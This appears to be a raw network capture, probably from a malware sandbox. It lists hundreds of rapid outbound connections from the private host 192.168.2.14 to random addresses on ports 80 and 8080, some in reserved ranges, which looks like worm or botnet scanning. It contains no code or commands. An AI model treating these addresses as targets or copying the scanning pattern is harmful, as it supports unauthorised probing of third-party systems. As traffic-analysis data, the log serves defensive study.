Mar 21, 2024 05:21:09.843339920 CET	17325	80	192.168.2.14	179.186.246.40
Mar 21, 2024 05:21:09.843357086 CET	17325	80	192.168.2.14	212.125.237.80
Mar 21, 2024 05:21:09.843368053 CET	17325	8080	192.168.2.14	27.156.37.161
Mar 21, 2024 05:21:09.843372107 CET	17325	80	192.168.2.14	212.24.233.79
Mar 21, 2024 05:21:09.843374968 CET	17325	80	192.168.2.14	43.222.69.122
Mar 21, 2024 05:21:09.843420029 CET	17325	80	192.168.2.14	212.12.181.48
Mar 21, 2024 05:21:09.843432903 CET	17325	80	192.168.2.14	212.197.201.249
Mar 21, 2024 05:21:09.843441010 CET	17325	80	192.168.2.14	98.50.238.155
Mar 21, 2024 05:21:09.843453884 CET	17325	80	192.168.2.14	212.145.99.206
Mar 21, 2024 05:21:09.843461037 CET	17325	80	192.168.2.14	212.61.19.8
Mar 21, 2024 05:21:09.843476057 CET	17325	80	192.168.2.14	212.208.42.231
Mar 21, 2024 05:21:09.843481064 CET	17325	80	192.168.2.14	213.204.48.189
Mar 21, 2024 05:21:09.843487978 CET	17325	8080	192.168.2.14	54.110.217.203
Mar 21, 2024 05:21:09.843492985 CET	17325	80	192.168.2.14	115.180.149.157
Mar 21, 2024 05:21:09.843501091 CET	17325	80	192.168.2.14	212.50.72.254
Mar 21, 2024 05:21:09.843508005 CET	17325	80	192.168.2.14	220.54.68.172
Mar 21, 2024 05:21:09.843530893 CET	17325	80	192.168.2.14	212.1.230.239
Mar 21, 2024 05:21:09.843533993 CET	17325	80	192.168.2.14	121.233.174.239
Mar 21, 2024 05:21:09.843542099 CET	17325	80	192.168.2.14	212.93.8.70
Mar 21, 2024 05:21:09.843554974 CET	17325	80	192.168.2.14	207.213.65.50
Mar 21, 2024 05:21:09.843563080 CET	17325	80	192.168.2.14	85.237.129.76
Mar 21, 2024 05:21:09.843564034 CET	17325	80	192.168.2.14	41.56.2.58
Mar 21, 2024 05:21:09.843575954 CET	17325	8080	192.168.2.14	212.147.173.186
Mar 21, 2024 05:21:09.843592882 CET	17325	80	192.168.2.14	160.57.193.139
Mar 21, 2024 05:21:09.843600988 CET	17325	80	192.168.2.14	212.247.15.65
Mar 21, 2024 05:21:09.843604088 CET	17325	80	192.168.2.14	191.12.199.123
Mar 21, 2024 05:21:09.843621969 CET	17325	80	192.168.2.14	212.141.204.171
Mar 21, 2024 05:21:09.843625069 CET	17325	80	192.168.2.14	212.86.75.54
Mar 21, 2024 05:21:09.843626976 CET	17325	80	192.168.2.14	91.234.228.88
Mar 21, 2024 05:21:09.843630075 CET	17325	80	192.168.2.14	212.21.74.127
Mar 21, 2024 05:21:09.843645096 CET	17325	80	192.168.2.14	79.188.2.255
Mar 21, 2024 05:21:09.843656063 CET	17325	80	192.168.2.14	212.207.238.238
Mar 21, 2024 05:21:09.843663931 CET	17325	8080	192.168.2.14	92.220.114.118
Mar 21, 2024 05:21:09.843663931 CET	17325	80	192.168.2.14	212.126.120.250
Mar 21, 2024 05:21:09.843676090 CET	17325	80	192.168.2.14	212.242.121.57
Mar 21, 2024 05:21:09.843679905 CET	17325	80	192.168.2.14	212.54.177.242
Mar 21, 2024 05:21:09.843697071 CET	17325	80	192.168.2.14	212.191.97.0
Mar 21, 2024 05:21:09.843703032 CET	17325	80	192.168.2.14	81.151.9.129
Mar 21, 2024 05:21:09.843708992 CET	17325	80	192.168.2.14	8.82.200.7
Mar 21, 2024 05:21:09.843717098 CET	17325	80	192.168.2.14	212.81.30.151
Mar 21, 2024 05:21:09.843719006 CET	17325	80	192.168.2.14	212.224.240.187
Mar 21, 2024 05:21:09.843732119 CET	17325	8080	192.168.2.14	212.213.77.174
Mar 21, 2024 05:21:09.843732119 CET	17325	80	192.168.2.14	212.211.124.1
Mar 21, 2024 05:21:09.843739033 CET	17325	80	192.168.2.14	212.132.121.66
Mar 21, 2024 05:21:09.843746901 CET	17325	80	192.168.2.14	212.231.7.199
Mar 21, 2024 05:21:09.843758106 CET	17325	80	192.168.2.14	27.21.15.33
Mar 21, 2024 05:21:09.843766928 CET	17325	80	192.168.2.14	212.33.108.221
Mar 21, 2024 05:21:09.843771935 CET	17325	80	192.168.2.14	212.156.8.249
Mar 21, 2024 05:21:09.843779087 CET	17325	80	192.168.2.14	212.232.235.45
Mar 21, 2024 05:21:09.843792915 CET	17325	80	192.168.2.14	212.220.73.135
Mar 21, 2024 05:21:09.843796015 CET	17325	80	192.168.2.14	105.229.31.150
Mar 21, 2024 05:21:09.843796015 CET	17325	80	192.168.2.14	219.253.151.214
Mar 21, 2024 05:21:09.843807936 CET	17325	8080	192.168.2.14	176.180.202.210
Mar 21, 2024 05:21:09.843836069 CET	17325	80	192.168.2.14	212.133.80.124
Mar 21, 2024 05:21:09.843842030 CET	17325	80	192.168.2.14	212.115.15.162
Mar 21, 2024 05:21:09.843856096 CET	17325	80	192.168.2.14	212.125.6.73
Mar 21, 2024 05:21:09.843862057 CET	17325	80	192.168.2.14	107.240.210.140
Mar 21, 2024 05:21:09.843872070 CET	17325	80	192.168.2.14	130.85.240.88
Mar 21, 2024 05:21:09.843877077 CET	17325	80	192.168.2.14	5.176.230.211
Mar 21, 2024 05:21:09.843879938 CET	17325	80	192.168.2.14	212.116.85.176
Mar 21, 2024 05:21:09.843894005 CET	17325	80	192.168.2.14	223.118.183.188
Mar 21, 2024 05:21:09.843897104 CET	17325	80	192.168.2.14	212.225.146.93
Mar 21, 2024 05:21:09.843907118 CET	17325	8080	192.168.2.14	212.78.254.186
Mar 21, 2024 05:21:09.843914986 CET	17325	80	192.168.2.14	212.39.234.125
Mar 21, 2024 05:21:09.843939066 CET	17325	80	192.168.2.14	212.236.68.94
Mar 21, 2024 05:21:09.843940973 CET	17325	80	192.168.2.14	93.73.6.186
Mar 21, 2024 05:21:09.843944073 CET	17325	80	192.168.2.14	164.10.35.111
Mar 21, 2024 05:21:09.843956947 CET	17325	80	192.168.2.14	197.88.220.33
Mar 21, 2024 05:21:09.843961954 CET	17325	80	192.168.2.14	188.16.186.137
Mar 21, 2024 05:21:09.843961954 CET	17325	80	192.168.2.14	212.27.158.73
Mar 21, 2024 05:21:09.843961954 CET	17325	80	192.168.2.14	212.231.238.91
Mar 21, 2024 05:21:09.843961954 CET	17325	80	192.168.2.14	130.232.67.244
Mar 21, 2024 05:21:09.843976974 CET	17325	8080	192.168.2.14	212.234.247.137
Mar 21, 2024 05:21:09.843981981 CET	17325	80	192.168.2.14	8.17.68.129
Mar 21, 2024 05:21:09.843985081 CET	17325	80	192.168.2.14	57.249.169.72
Mar 21, 2024 05:21:09.844002008 CET	17325	80	192.168.2.14	47.11.88.196
Mar 21, 2024 05:21:09.844007969 CET	17325	80	192.168.2.14	202.58.11.171
Mar 21, 2024 05:21:09.844019890 CET	17325	80	192.168.2.14	101.230.184.150
Mar 21, 2024 05:21:09.844023943 CET	17325	80	192.168.2.14	137.156.223.139
Mar 21, 2024 05:21:09.844029903 CET	17325	80	192.168.2.14	205.6.104.150
Mar 21, 2024 05:21:09.844038963 CET	17325	80	192.168.2.14	121.168.36.102
Mar 21, 2024 05:21:09.844038963 CET	17325	80	192.168.2.14	205.195.31.34
Mar 21, 2024 05:21:09.844052076 CET	17325	8080	192.168.2.14	161.170.36.0
Mar 21, 2024 05:21:09.844053984 CET	17325	80	192.168.2.14	212.141.87.16
Mar 21, 2024 05:21:09.844058037 CET	17325	80	192.168.2.14	113.128.104.182
Mar 21, 2024 05:21:09.844074011 CET	17325	80	192.168.2.14	212.24.176.209
Mar 21, 2024 05:21:09.844074011 CET	17325	80	192.168.2.14	110.219.208.230
Mar 21, 2024 05:21:09.844083071 CET	17325	80	192.168.2.14	212.131.186.223
Mar 21, 2024 05:21:09.844089985 CET	17325	80	192.168.2.14	213.215.243.166
Mar 21, 2024 05:21:09.844096899 CET	17325	80	192.168.2.14	181.158.44.155
Mar 21, 2024 05:21:09.844103098 CET	17325	80	192.168.2.14	212.61.186.166
Mar 21, 2024 05:21:09.844113111 CET	17325	8080	192.168.2.14	212.181.205.229
Mar 21, 2024 05:21:09.844126940 CET	17325	80	192.168.2.14	49.218.27.135
Mar 21, 2024 05:21:09.844127893 CET	17325	80	192.168.2.14	146.110.34.116
Mar 21, 2024 05:21:09.844127893 CET	17325	80	192.168.2.14	212.58.170.188
Mar 21, 2024 05:21:09.844136953 CET	17325	80	192.168.2.14	210.24.6.206
Mar 21, 2024 05:21:09.844157934 CET	17325	80	192.168.2.14	67.138.183.55
Mar 21, 2024 05:21:09.844171047 CET	17325	80	192.168.2.14	110.190.68.46
Mar 21, 2024 05:21:09.844171047 CET	17325	80	192.168.2.14	212.42.81.6
Mar 21, 2024 05:21:09.844171047 CET	17325	80	192.168.2.14	212.88.113.185
Mar 21, 2024 05:21:09.844178915 CET	17325	8080	192.168.2.14	212.74.48.4
Mar 21, 2024 05:21:09.844186068 CET	17325	80	192.168.2.14	75.73.90.120
Mar 21, 2024 05:21:09.844194889 CET	17325	80	192.168.2.14	212.64.47.199
Mar 21, 2024 05:21:09.844194889 CET	17325	80	192.168.2.14	179.30.130.188
Mar 21, 2024 05:21:09.844196081 CET	17325	80	192.168.2.14	212.88.213.42
Mar 21, 2024 05:21:09.844202995 CET	17325	80	192.168.2.14	114.15.9.80
Mar 21, 2024 05:21:09.844227076 CET	17325	80	192.168.2.14	212.127.152.89
Mar 21, 2024 05:21:09.844235897 CET	17325	80	192.168.2.14	43.74.69.42
Mar 21, 2024 05:21:09.844238043 CET	17325	80	192.168.2.14	113.9.79.82
Mar 21, 2024 05:21:09.844244003 CET	17325	80	192.168.2.14	149.142.232.121
Mar 21, 2024 05:21:09.844594002 CET	17325	80	192.168.2.14	46.231.75.99
Mar 21, 2024 05:21:09.844594002 CET	17325	80	192.168.2.14	212.244.200.181
Mar 21, 2024 05:21:09.846913099 CET	17298	80	192.168.2.14	211.98.214.114
Mar 21, 2024 05:21:09.846966028 CET	17298	80	192.168.2.14	249.61.110.114
Mar 21, 2024 05:21:09.846976995 CET	17298	80	192.168.2.14	35.120.239.121
Mar 21, 2024 05:21:09.846997976 CET	17298	80	192.168.2.14	21.91.101.182
Mar 21, 2024 05:21:09.846997976 CET	17298	80	192.168.2.14	150.87.42.166
Mar 21, 2024 05:21:09.847018003 CET	17298	80	192.168.2.14	41.253.79.216
Mar 21, 2024 05:21:09.847026110 CET	17298	80	192.168.2.14	223.14.213.78
Mar 21, 2024 05:21:09.847033978 CET	17298	80	192.168.2.14	253.167.197.126
Mar 21, 2024 05:21:09.847033978 CET	17298	80	192.168.2.14	193.170.160.198
Mar 21, 2024 05:21:09.847069979 CET	17298	80	192.168.2.14	27.174.224.126
Mar 21, 2024 05:21:09.847083092 CET	17298	80	192.168.2.14	11.230.212.78
Mar 21, 2024 05:21:09.847095966 CET	17298	80	192.168.2.14	251.23.247.169
Mar 21, 2024 05:21:09.847100019 CET	17298	80	192.168.2.14	209.189.113.151
Mar 21, 2024 05:21:09.847100019 CET	17298	80	192.168.2.14	164.239.46.179
Mar 21, 2024 05:21:09.847100973 CET	17298	80	192.168.2.14	111.223.11.48
Mar 21, 2024 05:21:09.847106934 CET	17298	80	192.168.2.14	173.246.96.225
Mar 21, 2024 05:21:09.847112894 CET	17298	80	192.168.2.14	53.2.175.214
Mar 21, 2024 05:21:09.847126961 CET	17298	80	192.168.2.14	19.112.134.174
Mar 21, 2024 05:21:09.847131968 CET	17298	80	192.168.2.14	175.222.130.50
Mar 21, 2024 05:21:09.847141981 CET	17298	80	192.168.2.14	216.138.220.78
Mar 21, 2024 05:21:09.847157955 CET	17298	80	192.168.2.14	4.130.167.34
Mar 21, 2024 05:21:09.847157955 CET	17298	80	192.168.2.14	240.204.218.96
Mar 21, 2024 05:21:09.847157955 CET	17298	80	192.168.2.14	245.110.43.42
Mar 21, 2024 05:21:09.847162008 CET	17298	80	192.168.2.14	114.227.225.85
Mar 21, 2024 05:21:09.847196102 CET	17298	80	192.168.2.14	115.246.27.209
Mar 21, 2024 05:21:09.847197056 CET	17298	80	192.168.2.14	199.22.39.204
Mar 21, 2024 05:21:09.847206116 CET	17298	80	192.168.2.14	138.87.26.146
Mar 21, 2024 05:21:09.847206116 CET	17298	80	192.168.2.14	64.199.238.172
Mar 21, 2024 05:21:09.847219944 CET	17298	80	192.168.2.14	132.240.224.64
Mar 21, 2024 05:21:09.847220898 CET	17298	80	192.168.2.14	17.148.235.71
Mar 21, 2024 05:21:09.847224951 CET	17298	80	192.168.2.14	80.22.170.158
Mar 21, 2024 05:21:09.847234964 CET	17298	80	192.168.2.14	158.181.4.237
Mar 21, 2024 05:21:09.847253084 CET	17298	80	192.168.2.14	85.119.32.14
Mar 21, 2024 05:21:09.847255945 CET	17298	80	192.168.2.14	153.242.112.166
Mar 21, 2024 05:21:09.847255945 CET	17298	80	192.168.2.14	208.136.217.116
Mar 21, 2024 05:21:09.847269058 CET	17298	80	192.168.2.14	181.79.119.105
Mar 21, 2024 05:21:09.847276926 CET	17298	80	192.168.2.14	27.216.116.237
Mar 21, 2024 05:21:09.847286940 CET	17298	80	192.168.2.14	98.242.28.90
Mar 21, 2024 05:21:09.847302914 CET	17298	80	192.168.2.14	93.235.201.73
Mar 21, 2024 05:21:09.847312927 CET	17298	80	192.168.2.14	185.105.239.85
Mar 21, 2024 05:21:09.847320080 CET	17298	80	192.168.2.14	244.198.62.255
Mar 21, 2024 05:21:09.847320080 CET	17298	80	192.168.2.14	98.226.186.209
Mar 21, 2024 05:21:09.847325087 CET	17298	80	192.168.2.14	196.198.177.159
Mar 21, 2024 05:21:09.847333908 CET	17298	80	192.168.2.14	181.65.219.53
Mar 21, 2024 05:21:09.847345114 CET	17298	80	192.168.2.14	241.10.7.67
Mar 21, 2024 05:21:09.847352028 CET	17298	80	192.168.2.14	150.111.20.225
Mar 21, 2024 05:21:09.847353935 CET	17298	80	192.168.2.14	194.245.59.63
Mar 21, 2024 05:21:09.847362995 CET	17298	80	192.168.2.14	19.249.93.199
Mar 21, 2024 05:21:09.847367048 CET	17298	80	192.168.2.14	2.37.227.140
Mar 21, 2024 05:21:09.847369909 CET	17298	80	192.168.2.14	97.13.194.169
Mar 21, 2024 05:21:09.847379923 CET	17298	80	192.168.2.14	157.109.139.190
Mar 21, 2024 05:21:09.847383976 CET	17298	80	192.168.2.14	5.241.211.121
Mar 21, 2024 05:21:09.847390890 CET	17298	80	192.168.2.14	39.246.53.27
Mar 21, 2024 05:21:09.847403049 CET	17298	80	192.168.2.14	73.10.186.39
Mar 21, 2024 05:21:09.847414017 CET	17298	80	192.168.2.14	118.108.192.219
Mar 21, 2024 05:21:09.847419024 CET	17298	80	192.168.2.14	56.236.244.237
Mar 21, 2024 05:21:09.847423077 CET	17298	80	192.168.2.14	197.186.157.231
Mar 21, 2024 05:21:09.847436905 CET	17298	80	192.168.2.14	78.102.87.116
Mar 21, 2024 05:21:09.847446918 CET	17298	80	192.168.2.14	95.99.160.209
Mar 21, 2024 05:21:09.847448111 CET	17298	80	192.168.2.14	186.166.115.192
Mar 21, 2024 05:21:09.847470999 CET	17298	80	192.168.2.14	22.216.34.88
Mar 21, 2024 05:21:09.847476959 CET	17298	80	192.168.2.14	213.26.46.110
Mar 21, 2024 05:21:09.847476959 CET	17298	80	192.168.2.14	128.243.50.234
Mar 21, 2024 05:21:09.847496033 CET	17298	80	192.168.2.14	116.30.37.63
Mar 21, 2024 05:21:09.847501993 CET	17298	80	192.168.2.14	49.112.183.19
Mar 21, 2024 05:21:09.847503901 CET	17298	80	192.168.2.14	42.41.42.244
Mar 21, 2024 05:21:09.847516060 CET	17298	80	192.168.2.14	155.185.84.21
Mar 21, 2024 05:21:09.847516060 CET	17298	80	192.168.2.14	175.124.225.31
Mar 21, 2024 05:21:09.847521067 CET	17298	80	192.168.2.14	255.190.252.65
Mar 21, 2024 05:21:09.847527981 CET	17298	80	192.168.2.14	120.181.199.212
Mar 21, 2024 05:21:09.847542048 CET	17298	80	192.168.2.14	17.235.63.215
Mar 21, 2024 05:21:09.847543001 CET	17298	80	192.168.2.14	28.138.196.9
Mar 21, 2024 05:21:09.847543955 CET	17298	80	192.168.2.14	136.161.126.67
Mar 21, 2024 05:21:09.847543955 CET	17298	80	192.168.2.14	55.42.118.200
Mar 21, 2024 05:21:09.847556114 CET	17298	80	192.168.2.14	139.17.4.90
Mar 21, 2024 05:21:09.847559929 CET	17298	80	192.168.2.14	126.40.216.10
Mar 21, 2024 05:21:09.847569942 CET	17298	80	192.168.2.14	2.254.7.232
Mar 21, 2024 05:21:09.847574949 CET	17298	80	192.168.2.14	47.101.11.100
Mar 21, 2024 05:21:09.847582102 CET	17298	80	192.168.2.14	244.63.137.136
Mar 21, 2024 05:21:09.847588062 CET	17298	80	192.168.2.14	81.237.34.193
Mar 21, 2024 05:21:09.847592115 CET	17298	80	192.168.2.14	72.133.69.22
Mar 21, 2024 05:21:09.847601891 CET	17298	80	192.168.2.14	63.23.137.192
Mar 21, 2024 05:21:09.847618103 CET	17298	80	192.168.2.14	113.111.220.190
Mar 21, 2024 05:21:09.847634077 CET	17298	80	192.168.2.14	24.104.17.64
Mar 21, 2024 05:21:09.847634077 CET	17298	80	192.168.2.14	20.215.51.207
Mar 21, 2024 05:21:09.847637892 CET	17298	80	192.168.2.14	150.143.102.215
Mar 21, 2024 05:21:09.847641945 CET	17298	80	192.168.2.14	132.107.196.203
Mar 21, 2024 05:21:09.847647905 CET	17298	80	192.168.2.14	196.148.253.77
Mar 21, 2024 05:21:09.847657919 CET	17298	80	192.168.2.14	107.238.103.63
Mar 21, 2024 05:21:09.847662926 CET	17298	80	192.168.2.14	247.4.26.153
Mar 21, 2024 05:21:09.847662926 CET	17298	80	192.168.2.14	11.28.169.34
Mar 21, 2024 05:21:09.847666979 CET	17298	80	192.168.2.14	15.253.55.21
Mar 21, 2024 05:21:09.847677946 CET	17298	80	192.168.2.14	75.104.96.123
Mar 21, 2024 05:21:09.847686052 CET	17298	80	192.168.2.14	149.247.35.13
Mar 21, 2024 05:21:09.847686052 CET	17298	80	192.168.2.14	163.160.255.168
Mar 21, 2024 05:21:09.847696066 CET	17298	80	192.168.2.14	96.156.72.0
Mar 21, 2024 05:21:09.847696066 CET	17298	80	192.168.2.14	220.234.249.168
Mar 21, 2024 05:21:09.847696066 CET	17298	80	192.168.2.14	99.89.5.124
Mar 21, 2024 05:21:09.847700119 CET	17298	80	192.168.2.14	209.206.192.83
Mar 21, 2024 05:21:09.847708941 CET	17298	80	192.168.2.14	40.227.31.113
Mar 21, 2024 05:21:09.847714901 CET	17298	80	192.168.2.14	223.84.101.76
Mar 21, 2024 05:21:09.847723961 CET	17298	80	192.168.2.14	141.138.49.222
Mar 21, 2024 05:21:09.847733021 CET	17298	80	192.168.2.14	115.58.5.148
Mar 21, 2024 05:21:09.847733021 CET	17298	80	192.168.2.14	129.146.58.95
Mar 21, 2024 05:21:09.847754002 CET	17298	80	192.168.2.14	111.18.180.252
Mar 21, 2024 05:21:09.847754002 CET	17298	80	192.168.2.14	180.51.96.184
Mar 21, 2024 05:21:09.847764969 CET	17298	80	192.168.2.14	44.130.4.185
Mar 21, 2024 05:21:09.847769976 CET	17298	80	192.168.2.14	45.19.117.63
Mar 21, 2024 05:21:09.847784996 CET	17298	80	192.168.2.14	201.122.25.229
Mar 21, 2024 05:21:09.847784996 CET	17298	80	192.168.2.14	244.190.48.127
Mar 21, 2024 05:21:09.847795010 CET	17298	80	192.168.2.14	190.246.164.165
Mar 21, 2024 05:21:09.847800970 CET	17298	80	192.168.2.14	184.187.198.238
Mar 21, 2024 05:21:09.847815037 CET	17298	80	192.168.2.14	57.94.98.207
Mar 21, 2024 05:21:09.847817898 CET	17298	80	192.168.2.14	23.135.233.193
Mar 21, 2024 05:21:09.847824097 CET	17298	80	192.168.2.14	94.121.247.25
Mar 21, 2024 05:21:09.847837925 CET	17298	80	192.168.2.14	170.220.37.180
Mar 21, 2024 05:21:09.847841024 CET	17298	80	192.168.2.14	164.133.89.49
Mar 21, 2024 05:21:09.847851992 CET	17298	80	192.168.2.14	118.94.39.91
Mar 21, 2024 05:21:09.847860098 CET	17298	80	192.168.2.14	72.62.210.4
Mar 21, 2024 05:21:09.847868919 CET	17298	80	192.168.2.14	22.191.43.255
Mar 21, 2024 05:21:09.847871065 CET	17298	80	192.168.2.14	125.221.96.76
Mar 21, 2024 05:21:09.847871065 CET	17298	80	192.168.2.14	83.204.175.55
Mar 21, 2024 05:21:09.847876072 CET	17298	80	192.168.2.14	76.92.183.79
Mar 21, 2024 05:21:09.847888947 CET	17298	80	192.168.2.14	197.180.160.99
Mar 21, 2024 05:21:09.847892046 CET	17298	80	192.168.2.14	133.124.135.14
Mar 21, 2024 05:21:09.847903967 CET	17298	80	192.168.2.14	252.123.1.89
Mar 21, 2024 05:21:09.847912073 CET	17298	80	192.168.2.14	72.165.231.175
Mar 21, 2024 05:21:09.847924948 CET	17298	80	192.168.2.14	196.27.8.205
Mar 21, 2024 05:21:09.847924948 CET	17298	80	192.168.2.14	138.119.254.73
Mar 21, 2024 05:21:09.847928047 CET	17298	80	192.168.2.14	89.182.246.121
Mar 21, 2024 05:21:09.847959042 CET	17298	80	192.168.2.14	81.150.92.18
Mar 21, 2024 05:21:09.847960949 CET	17298	80	192.168.2.14	91.230.206.64
Mar 21, 2024 05:21:09.847970963 CET	17298	80	192.168.2.14	217.210.144.219
Mar 21, 2024 05:21:09.847970963 CET	17298	80	192.168.2.14	185.50.202.57
Mar 21, 2024 05:21:09.847978115 CET	17298	80	192.168.2.14	23.163.146.180
Mar 21, 2024 05:21:09.847982883 CET	17298	80	192.168.2.14	201.188.246.133
Mar 21, 2024 05:21:09.847990990 CET	17298	80	192.168.2.14	118.76.196.236
Mar 21, 2024 05:21:09.848000050 CET	17298	80	192.168.2.14	77.192.225.57
Mar 21, 2024 05:21:09.848000050 CET	17298	80	192.168.2.14	19.184.114.68
Mar 21, 2024 05:21:09.848020077 CET	17298	80	192.168.2.14	143.103.172.98
Mar 21, 2024 05:21:09.848022938 CET	17298	80	192.168.2.14	198.125.77.115
Mar 21, 2024 05:21:09.848022938 CET	17298	80	192.168.2.14	182.74.246.247
Mar 21, 2024 05:21:09.848041058 CET	17298	80	192.168.2.14	83.56.199.104
Mar 21, 2024 05:21:09.848048925 CET	17298	80	192.168.2.14	126.73.127.146
Mar 21, 2024 05:21:09.848050117 CET	17298	80	192.168.2.14	40.221.33.52
Mar 21, 2024 05:21:09.848052025 CET	17298	80	192.168.2.14	29.132.118.31
Mar 21, 2024 05:21:09.848052025 CET	17298	80	192.168.2.14	49.123.109.192
Mar 21, 2024 05:21:09.848067999 CET	17298	80	192.168.2.14	194.188.158.130
Mar 21, 2024 05:21:09.848073006 CET	17298	80	192.168.2.14	114.178.136.14
Mar 21, 2024 05:21:09.848078966 CET	17298	80	192.168.2.14	160.204.199.166
Mar 21, 2024 05:21:09.848093033 CET	17298	80	192.168.2.14	91.129.102.254
Mar 21, 2024 05:21:09.848100901 CET	17298	80	192.168.2.14	70.92.138.52
Mar 21, 2024 05:21:09.848117113 CET	17298	80	192.168.2.14	83.152.18.247
Mar 21, 2024 05:21:09.848118067 CET	17298	80	192.168.2.14	131.57.238.127
Mar 21, 2024 05:21:09.848129988 CET	17298	80	192.168.2.14	63.54.117.130
Mar 21, 2024 05:21:09.848129988 CET	17298	80	192.168.2.14	66.232.53.121
Mar 21, 2024 05:21:09.848139048 CET	17298	80	192.168.2.14	113.20.232.111
Mar 21, 2024 05:21:09.848139048 CET	17298	80	192.168.2.14	36.64.192.1
Mar 21, 2024 05:21:09.848157883 CET	17298	80	192.168.2.14	70.57.111.82
Mar 21, 2024 05:21:09.848169088 CET	17298	80	192.168.2.14	253.41.11.130
Mar 21, 2024 05:21:09.848171949 CET	17298	80	192.168.2.14	167.22.17.129
Mar 21, 2024 05:21:09.848171949 CET	17298	80	192.168.2.14	186.176.68.151
Mar 21, 2024 05:21:09.848171949 CET	17298	80	192.168.2.14	9.165.92.201
Mar 21, 2024 05:21:09.848171949 CET	17298	80	192.168.2.14	96.51.87.231
Mar 21, 2024 05:21:09.848189116 CET	17298	80	192.168.2.14	37.111.53.200
Mar 21, 2024 05:21:09.848192930 CET	17298	80	192.168.2.14	204.141.129.32
Mar 21, 2024 05:21:09.848198891 CET	17298	80	192.168.2.14	223.239.3.7
Mar 21, 2024 05:21:09.848210096 CET	17298	80	192.168.2.14	149.157.220.206
Mar 21, 2024 05:21:09.848225117 CET	17298	80	192.168.2.14	23.12.190.136
Mar 21, 2024 05:21:09.848228931 CET	17298	80	192.168.2.14	32.178.215.213
Mar 21, 2024 05:21:09.848231077 CET	17298	80	192.168.2.14	143.143.211.225
Mar 21, 2024 05:21:09.848237038 CET	17298	80	192.168.2.14	14.249.30.210
Mar 21, 2024 05:21:09.848242998 CET	17298	80	192.168.2.14	132.171.156.216
Mar 21, 2024 05:21:09.848247051 CET	17298	80	192.168.2.14	72.21.62.103
Mar 21, 2024 05:21:09.848247051 CET	17298	80	192.168.2.14	53.181.55.55
Mar 21, 2024 05:21:09.848258018 CET	17298	80	192.168.2.14	240.214.32.65
Mar 21, 2024 05:21:09.848262072 CET	17298	80	192.168.2.14	178.215.238.111
Mar 21, 2024 05:21:09.848270893 CET	17298	80	192.168.2.14	217.248.224.184
Mar 21, 2024 05:21:09.848278999 CET	17298	80	192.168.2.14	1.199.154.49
Mar 21, 2024 05:21:09.848292112 CET	17298	80	192.168.2.14	249.193.24.40
Mar 21, 2024 05:21:09.848292112 CET	17298	80	192.168.2.14	80.52.121.240
Mar 21, 2024 05:21:09.848319054 CET	17298	80	192.168.2.14	15.141.245.185
Mar 21, 2024 05:21:09.848320961 CET	17298	80	192.168.2.14	115.82.227.206
Mar 21, 2024 05:21:09.848342896 CET	17298	80	192.168.2.14	98.190.26.40
Mar 21, 2024 05:21:09.848342896 CET	17298	80	192.168.2.14	18.28.148.126
Mar 21, 2024 05:21:09.848342896 CET	17298	80	192.168.2.14	100.69.232.143
Mar 21, 2024 05:21:09.848349094 CET	17298	80	192.168.2.14	200.148.105.220
Mar 21, 2024 05:21:09.848349094 CET	17298	80	192.168.2.14	203.15.110.131
Mar 21, 2024 05:21:09.848355055 CET	17298	80	192.168.2.14	102.107.211.85
Mar 21, 2024 05:21:09.848371983 CET	17298	80	192.168.2.14	189.115.212.4
Mar 21, 2024 05:21:09.848372936 CET	17298	80	192.168.2.14	158.141.68.237
Mar 21, 2024 05:21:09.848373890 CET	17298	80	192.168.2.14	192.113.70.108
Mar 21, 2024 05:21:09.848382950 CET	17298	80	192.168.2.14	253.221.171.148
Mar 21, 2024 05:21:09.848387003 CET	17298	80	192.168.2.14	196.220.131.87
Mar 21, 2024 05:21:09.848398924 CET	17298	80	192.168.2.14	76.55.30.134
Mar 21, 2024 05:21:09.848407030 CET	17298	80	192.168.2.14	154.173.91.221
Mar 21, 2024 05:21:09.848418951 CET	17298	80	192.168.2.14	181.190.190.240
Mar 21, 2024 05:21:09.848440886 CET	17298	80	192.168.2.14	78.244.183.24
Mar 21, 2024 05:21:09.848445892 CET	17298	80	192.168.2.14	19.139.78.230
Mar 21, 2024 05:21:09.848450899 CET	17298	80	192.168.2.14	187.1.140.92
Mar 21, 2024 05:21:09.848464012 CET	17298	80	192.168.2.14	172.80.174.100
Mar 21, 2024 05:21:09.848464012 CET	17298	80	192.168.2.14	151.4.187.43
Mar 21, 2024 05:21:09.848472118 CET	17298	80	192.168.2.14	53.36.79.24
Mar 21, 2024 05:21:09.848484039 CET	17298	80	192.168.2.14	1.19.232.170
Mar 21, 2024 05:21:09.848504066 CET	17298	80	192.168.2.14	177.227.100.124
Mar 21, 2024 05:21:09.848505974 CET	17298	80	192.168.2.14	94.48.218.238
Mar 21, 2024 05:21:09.848505974 CET	17298	80	192.168.2.14	172.126.195.240
Mar 21, 2024 05:21:09.848519087 CET	17298	80	192.168.2.14	22.67.60.201
Mar 21, 2024 05:21:09.848530054 CET	17298	80	192.168.2.14	150.127.104.130
Mar 21, 2024 05:21:09.848555088 CET	17298	80	192.168.2.14	19.237.205.131
Mar 21, 2024 05:21:09.848562956 CET	17298	80	192.168.2.14	31.247.36.189
Mar 21, 2024 05:21:09.848567963 CET	17298	80	192.168.2.14	143.108.180.204
Mar 21, 2024 05:21:09.848573923 CET	17298	80	192.168.2.14	65.114.141.110
Mar 21, 2024 05:21:09.848577976 CET	17298	80	192.168.2.14	192.93.250.252
Mar 21, 2024 05:21:09.848593950 CET	17298	80	192.168.2.14	191.167.62.82
Mar 21, 2024 05:21:09.848599911 CET	17298	80	192.168.2.14	246.246.167.195
Mar 21, 2024 05:21:09.848608971 CET	17298	80	192.168.2.14	156.11.21.21
Mar 21, 2024 05:21:09.848622084 CET	17298	80	192.168.2.14	135.180.114.233
Mar 21, 2024 05:21:09.848624945 CET	17298	80	192.168.2.14	219.184.6.108
Mar 21, 2024 05:21:09.848628998 CET	17298	80	192.168.2.14	219.164.212.242
Mar 21, 2024 05:21:09.848651886 CET	17298	80	192.168.2.14	84.106.250.234
Mar 21, 2024 05:21:09.848660946 CET	17298	80	192.168.2.14	212.250.32.196
Mar 21, 2024 05:21:09.848671913 CET	17298	80	192.168.2.14	168.206.155.80
Mar 21, 2024 05:21:09.848678112 CET	17298	80	192.168.2.14	90.190.163.43
Mar 21, 2024 05:21:09.848685980 CET	17298	80	192.168.2.14	245.194.253.153
Mar 21, 2024 05:21:09.848805904 CET	17298	80	192.168.2.14	46.33.42.247
Mar 21, 2024 05:21:09.848809004 CET	17298	80	192.168.2.14	125.130.209.122
Mar 21, 2024 05:21:09.848818064 CET	17298	80	192.168.2.14	149.7.129.117
